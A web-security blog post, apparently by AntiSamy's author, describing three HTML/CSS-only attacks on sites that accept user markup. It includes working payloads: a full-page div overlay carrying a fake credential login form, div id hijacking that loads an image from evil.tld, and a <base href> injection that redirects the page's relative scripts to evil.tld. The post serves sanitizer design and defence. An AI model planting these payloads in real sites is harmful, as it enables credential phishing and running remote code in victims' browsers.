One of the things I highlighted in my paper on AntiSamy was the fact that JavaScript is often the only thing we think of when we hear the term “malicious code” in terms of webappsec. Let’s suppose that’s false for a second. The question then becomes: If MySpace can strip out all your JavaScript, what can you do maliciously when only providing pure HTML/CSS (besides invoking JavaScript from intrinsic events, CSS image-lookups, hilarious 3rd-party stupidity, etc.)? Also, we’re ignoring all the obvious meta-iframe-redirect-to-malware type stuff.

Here are the 3 things I came up with. Two are original.

1. <div> overlay affecting phishing attacks

These are pretty old hat too. The idea here is you provide some CSS in the part of the page that you supply that creates a <div> that overlays some or all of the page, including the part you don’t own. To see this kind of attack in action, try sticking the following code onto my AntiSamy test page, and make sure you attack against the default/vulnerable antisamy.xml policy file:

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Welcome to MyGoat!!1! Please Login wit credentialz for major nigerian cash<br><form name="login" action=""><table><tr><td>Username: </td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

2. <div> hijacking

So, if you’re interested in this stuff, you’re probably a hacker. I can surmise then, that’s you’re lazy and have criminal inclinations. Am I projecting? Hope not. Assuming you are – well, why create an absolutely positioned <div> when you can just steal the existing one? Let’s say that MySpace has this code at the top of their page:

<div id="main_logo"> <img src="/main_logo.gif" mce_src="/main_logo.gif"> </div>

Then, the attacker’s profile comes along later and let’s say they supplied this:

<div id="main_logo"> <img src="http://evil.tld/hacked.gif" mce_src="http://evil.tld/hacked.gif"> </div>

Guess what comes up where the main logo appears? Well, don’t take my word for it. Go try it out on my test page. Provide the following attack code and watch the header image carefully:

div { }
div#header * {
 display: none;
div#header {
width: 800px;

Ugh, this turns out to be pretty problematic when you think it through. So, if we want to allow users to create their own <div> tags, we have to allow them to specify id values so they don’t have to write annoying inline CSS for everything. On the other hand – if we allow users to specify the id attribute, they could use it to hijack our legitimate <div> areas.

What a pickle. AntiSamy “solves” this problem by allowing the application to specify “protected” id values. So, you can setup a list of specific id values that are protected or you can specify a pattern, like “myspace_*”. So, if the user tries to specify an id that begins with “myspace_”, they’ll get an error. This means your developers have to be aware of the naming convention and be on board with its purpose.

Can it get worse? 

3. <base> external resource hijacking

Yes, it can. Well, phishing doesn’t really get me out of bed in the morning. That’s what Anna Faris is for. We’re here for something more. What’s great about this attack vector is the fact that it allows me to revive a gaming joke from 2001. The <base> tag tells browsers that all relative tag resources encountered from that point forward can be found beneath the URL in the <base> tag’s href attribute.  See where this is going? It plays out like this.

<!-- begin user supplied content (eBay) -->
omFG bai my boba fett dollz it totally sets u UP the bombz
<base href="http://evil.tld" mce_href="http://evil.tld">
<!-- end user supplied content (eBay)
<script src="/do_ebay_stuff.js" mce_src="/do_ebay_stuff.js"></script>

When the browser encounters the <script> tag, it’s going to try to find it at http://evil.tld/do_ebay_stuff.js. So, all you have to do is make sure there’s something malicious living at that URL and you’re disco.

Couple of things about this attack:

  • It’s pure HTML. Awesome.
  • Like a remote script/CSS include, the application has no idea what malicious code the victim was tricked into executing. Double awesome. The code is in the cloud, baby.
  • It’s an original vector. RSnake has this similar-looking vector on his cheat sheet: <BASE href=”javascript:alert(‘XSS’);//”>. This is a localized JavaScript call because browsers were too dumb to realize this URL doesn’t make any sense (and this doesn’t even work anymore).
  • Browsers can’t patch it!
  • IE7 has decided it won’t honor <base> tags it finds outside of the <head> element, so IE7 is probably not a concern for this vector because it’s unlikely that untrusted users will be injecting into a page’s <head> element. Making a dirty joke about this bullet is left as an exercise to the reader.

Legally, I’m not allowed to write this section without reminding you that someone set us up the bomb.

So, those are a few ideas for non-JavaScript malicious code. If you have anything to add, plz feel free to do so!